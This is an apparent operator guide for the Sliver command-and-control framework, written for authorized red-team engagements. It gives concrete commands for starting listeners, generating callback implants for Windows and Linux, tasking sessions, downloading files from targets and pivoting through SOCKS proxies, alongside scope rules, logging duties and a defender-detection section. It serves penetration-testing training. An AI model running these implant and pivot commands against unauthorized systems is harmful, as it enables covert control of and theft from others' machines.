Sliver is an open source command and control framework for authorized adversary emulation and lab work. A Sliver server manages listeners, generates implants, and holds sessions, while the Sliver client is the operator console. This skill covers operating Sliver under a signed rules of engagement, in a lab or against in-scope targets only. It does not cover building malware for use outside an authorized test, and every session here is assumed to be logged for the client report.
Quick Workflow
- Confirm the engagement scope, allowed implant types, and allowed listener protocols in the rules of engagement.
- Start the Sliver server on operator infrastructure you own, with operator authentication and firewall rules in place.
- Start a listener on the agreed protocol and port, behind a redirector where the plan calls for one.
- Generate an implant for the target platform, and record its exact build options.
- Deliver the implant only through an approved method inside the engagement scope.
- Manage the session from the client console, task it, collect results, and log every action.
- Kill every session, stop every listener, and tear down the server at engagement end.
1. Server setup
Install Sliver on a dedicated operator host, not on a shared workstation and not on the redirector. The server holds session keys and implant builds, so it deserves the same hardening as any sensitive server, meaning updates applied, SSH key only, and a firewall that allows only the operator console and the listener ports the plan approves.
# Start the Sliver server (first run creates operator configuration)
sliver-server
# In a second terminal, start the client console
sliver
For team use, Sliver supports multiple operator clients against one server. Create one operator account per person, never share a single operator credential across the team, and revoke accounts when a team member leaves the engagement. Record who held which session, because the client report must attribute every action to an operator.
# Inside the Sliver client, list operators and check server status
new-operator --name operator-one --lhost 10.0.0.5
operators
info
Replace 10.0.0.5 with the real server address for the engagement.
If the server is reachable from the target network at all, the design
is wrong. Put a redirector in front of it, as covered by the
c2-redirectors skill, so targets only ever see the redirector domain.
2. Listeners and implant generation
A listener is the protocol and port an implant calls back to. Mutual TLS is the default strong choice for lab work because it authenticates both sides. HTTP listeners blend better on networks that allow web traffic but block unusual ports, at the cost of a more visible profile that defenders can inspect. Choose the listener the target network actually allows, measured during recon, not the one you prefer.
# Inside the Sliver client, start listeners
mtls --lhost 10.0.0.5 --lport 443
http --lhost 10.0.0.5 --lport 8080
# Confirm the listeners are running before generating anything
jobs
Generate implants per target platform, and keep the build options in the engagement notes. The same implant binary must never be reused across clients or engagements, because reuse links operations together through file hashes and network indicators.
# Generate a Windows implant that calls back over mutual TLS
generate --mtls 10.0.0.5:443 --os windows --arch amd64 \
--format exe --save /tmp/lab-implant.exe
# Generate a Linux implant that calls back over HTTP
generate --http 10.0.0.5:8080 --os linux --arch amd64 \
--format elf --save /tmp/lab-implant.elf
# List generated implants and confirm the callback addresses
implants
When a redirector is in front of the server, the implant callback address must be the redirector domain and port, not the server address. Generate the implant after the redirector is live, and test the full loop in the lab before the engagement window opens.
3. Sessions and tasking
Sessions appear in the client when an implant checks in. Inspect a session before tasking it, confirm the hostname and user match an in-scope target, and never task a session you cannot attribute to the engagement. Keep sessions short, drop idle ones, and never leave an interactive session open overnight on a production host.
# List sessions, inspect one, and enter it
sessions
sessions -i 1
info
ps
Common session tasks in an authorized test include listing processes, running approved commands, and transferring files in both directions. Every file taken from a target needs a justification in the rules of engagement and an entry in the exfiltration log, with its size and reason. Bulk collection to prove a point is not a finding, it is an incident.
# Inside a session, run approved commands and transfer files
execute -o whoami
ls
download /etc/hostname /tmp/collected-hostname.txt
upload /tmp/approved-tool.sh /tmp/approved-tool.sh
Session output is evidence. Save it in the engagement working directory as you go, not from memory at the end of the week, and note the time, target, and task for each result.
4. Pivoting
Sliver sessions can pivot into networks the operator host cannot reach directly. A SOCKS proxy through a session lets operator tooling reach internal hosts via the implant, which is where this skill meets network-pivoting. Start the proxy only for the subnet the rules allow, use it only for approved checks, and stop it when the task ends.
# Inside a session, start a SOCKS5 proxy on the operator host
socks5 start
# Confirm the proxy is listening, then use it for in-scope checks only
socks5 list
Pivoting multiplies blast radius, so it multiplies the logging duty too. Every host reached through a pivot, every port scanned through it, and every credential used through it goes in the report. If the pivot target is outside scope, stop immediately and tell the test lead, even if the access looked interesting.
Edge cases
- An implant that never calls back usually means the listener address, port, or protocol is wrong, not that the target detected it. Check the redirector logs first.
- Mutual TLS implants fail hard behind TLS inspection, because the inspection breaks the handshake. Either the rules cover inspection or you switch to a tested channel.
- Multiple operators tasking the same session at once produce a confused report. Assign one operator per session per phase.
- Implant builds for the wrong architecture fail silently on the target. Confirm operating system and architecture from recon before generating.
- A session that goes quiet after a network change is usually an outage, not detection. Check redirector and listener logs before assuming the worst.
- Leaving a listener running after the engagement ends invites stray callbacks and false alarms. Stop listeners as part of teardown, and verify silence for a full beacon interval.
Detection and defender view
Defenders detect Sliver through implant process behavior and injection patterns on the endpoint, unusual TLS handshakes and beacon timing on the network, and connections to newly registered or low-reputation domains in proxy logs. Endpoint detection and response tooling flags the implant loader, memory patterns, and child processes it spawns. Assume a competent blue team will find a long-running implant, share indicators with the defensive contact after the engagement, and treat time to detection as a measured result.
Key references
- MITRE ATT&CK T1071 Application Layer Protocol
- MITRE ATT&CK T1071.001 Web Protocols
- MITRE ATT&CK T1090 Proxy
- MITRE ATT&CK T1095 Non-Application Layer Protocol
- MITRE ATT&CK T1105 Ingress Tool Transfer
- MITRE ATT&CK T1573 Encrypted Channel
- CWE-200 Exposure of Sensitive Information to an Unauthorized Actor
- Sliver docs: https://sliver.sh/docs/
- Sliver wiki: https://github.com/BishopFox/sliver/wiki
